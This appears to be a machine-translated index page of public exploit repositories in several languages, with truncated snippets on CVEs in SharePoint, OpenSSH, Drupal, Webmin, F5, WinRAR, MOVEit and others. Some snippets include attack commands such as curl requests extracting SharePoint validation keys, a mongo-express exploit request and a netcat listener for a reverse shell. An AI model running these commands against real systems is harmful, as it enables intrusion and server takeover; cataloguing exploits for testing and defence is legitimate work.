cve-2024-21980-poc

Vulnerabilità del firmware SEV Questo repository contiene un exploit per una vulnerabilità nel firmware SEV. L'exploit consente di decrittare memoria arbitraria di un guest SEV-SNP dopo che è stato dismesso. Testato sulla versione 1.55.16 l'ultima al momento della scrittura. Causa principale Il...

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597-

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597- Sri Lanka Institute of Information Technology root@kitploit: Compito 1 M. P. D. M. Dias IT19165530 MLBWDY2S113.1 Point to Point Protocol Daemon RCE Vulnerabilità CVE-2020-8597 Programmazione di Sistemi e Reti – IE2012 Contenuto 1...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit Zuerst holen Sie die Werte VIEWSTATEGENERATOR, VALIDATIONKEY, VALIDATIONALG von der Ziel-SharePoint-Seite: root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx...

cve-2024-6387-poc

cve-2024-6387-poc una condizione di gara race condition nel gestore dei segnali del server OpenSSH sshd 7etsuo Descrizione Un exploit per CVE-2024-6387, che colpisce una condizione di gara nel gestore dei segnali del server OpenSSH sshd sui sistemi Linux basati su glibc. La vulnerabilità consente...

CVE-2019-17564

CVE-2019-17564 aspetta...

cve-2016-0728

cve-2016-0728 Exploit e checker...

CVE-2019-10758

CVE-2019-10758 PoC Configurazione root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js Exploit cURL root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

CVE-2018-20250

exploit per Estrarre l'esecuzione di codice da Winrar poc di Ridter Come si usa? Ti basta installare Python 3.7, preparare un file malevolo da eseguire, impostare i valori che desideri, questo script exploit genererà automaticamente il file archivio malevolo! 1. Imposta i valori che desideri...

PT-ToolKit

PT-ToolKit Exploit, script PowerShell, eseguibili utili durante test di penetrazione o attività di Red Team. La maggior parte degli strumenti e degli script sono pensati per ambienti Active-Directory e piattaforma Windows. Indice Exploit Script PowerShell Binari Windows Exploit: Alcuni exploit...

HTB-Mailing-A-Complete-Walkthrough

HTB: Mailing — Una Guida Completa Di Mursalin Se hai macinato macchine HackTheBox, Mailing è una di quelle che ti insegna davvero qualcosa. È classificata come facile, funziona su Windows e combina alcune vulnerabilità reali: un directory traversal, un leak di credenziali, CVE-2024-21413 e un...

drupalgeddon2-CVE-2018-7600

Drupal - Drupalgeddon2 CVE 2018-7600 root@kitploit: $ python3 drupalgeddon.py -h + drupalgeddon2 CVE-2018-7600 exploit by Rafael Caria usage: drupalgeddon.py -h --url URL --command COMMAND --function FUNCTION --test --proxy PROXY ! This script exploits CVE-2018-7600 a Drupal property injection in...

Webmin_CVE-2019-15107

CVE-2019–15107 - Webmin =1.920 未授权远程代码执行 此 Python 脚本可在 Webmin 1.890 上获取 root shell。 使用 nmap 检测： nmap -sC -sV -p 10000 TARGETIP 结果： 10000/tcp open http MiniServ 1.890 Webmin httpd 如何使用此漏洞： 步骤 1： nc -lnvp LPORT 步骤 2： chmod +x exploit.py root@kitploit: ./exploit RHOST RPORT LHOST LPORT RHOST = 目标主机...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 exploit POC Uso root@kitploit: usage: exploit.py -h -t TARGET -l LIST -c COMMAND optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET The IP address of the target, eg: 127.0.0.1:9443 -l LIST, --list LIST List of target url saperated...

LibSSH-exploit

LibSSH-эксплойт CVE-2018-10933 Уязвимые ssh-серверы - libssh до версии 0.8.4 Отправляет сообщение об авторизации пользователя, что позволяет выполнить удаленный код RCE Использование: ''' Libsshexploit.py '''...

CVE-2014-4322_poc

CVE-2014-4322poc POC代码适用于Nexus Android 4.4/5.0 权限提升：system - root，作为 https://github.com/retme7/CVE-2014-7911poc 的一部分 作者：retme [email protected] 在Twitter上@returnsme，在微博上@retme 网站：retme.net 该利用程序必须以system权限和特定的SELinux上下文执行。 如果利用成功，你将获得root权限和"kernel" SELinux上下文 bug信息...

CVE-2018-7600.

IGLOO Corp, Won Chi Hyun Drupal RCE 分析报告 Drupal RCE CVE-2018-7600 请务必将你的地址填入脚本中！ 描述： 在 Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。该漏洞可能允许攻击者利用 Drupal 站点的多个攻击向量，从而导致站点完全被入侵。 解决方案： 升级到 Drupal 7 或 8 核心的最新版本。 如果你正在运行 7.x，请升级到 Drupal 7.58。（如果无法立即更新，你可以尝试应用此补丁来修复漏洞，直到能够完全更新为止。）如果你正在运行 8.5.x，请升级到 Drupal...

CVE-2025-24000-exploit

CVE-2025-24000 — Post SMTP 权限提升漏洞利用 概述 该脚本利用了 CVE-2025-24000 ，这是 Post SMTP WordPress 插件 （版本 ≤ 3.2.0）中的一个高危访问控制缺陷。它允许任何具有低权限账户（例如订阅者）的认证用户访问该插件的 REST API 邮件日志，窃取管理员密码重置链接，并接管管理员账户。 CVE: CVE-2025-24000 Plugin: Post SMTP WPExperts 受影响版本： ≤ 3.2.0 修复版本： 3.3.0 CVSS 评分： 8.8（高危） 影响： 权限提升 → 完全接管管理员账户 工作原理...

LARE

LARE L okales A uto R oot E xploiter ist ein einfaches Bash-Skript, das dir hilft, lokale Root-Exploits von deinem Angriffsrechner aus bereitzustellen, wenn dein Opferrechner keine Internetverbindung hat. Das Skript ist nützlich in einem Szenario, in dem dein Opferrechner keine Internetverbindung...

amun

Amun Amun è stato il primo honeypot a bassa interazione basato su Python, seguendo i concetti di Nepenthes ma estendendolo con emulazioni più sofisticate e una manutenzione più semplice. Requisiti Pyhon = 2.6 nessun supporto per Python3 ancora opzionale Python Psyco disponibile su...

watchTowr-vs-progress-moveit_CVE-2024-5806

CVE-2024-5806 为 Progress MOVEit Transfer CVE-2024-5806 的利用程序。参见我们的博客文章 待定。 PoC 实战演示 请参阅 --help 获取帮助。典型的运行示例如下： root@kitploit: python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user user2 --ppk id.ppk --pem id / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | /...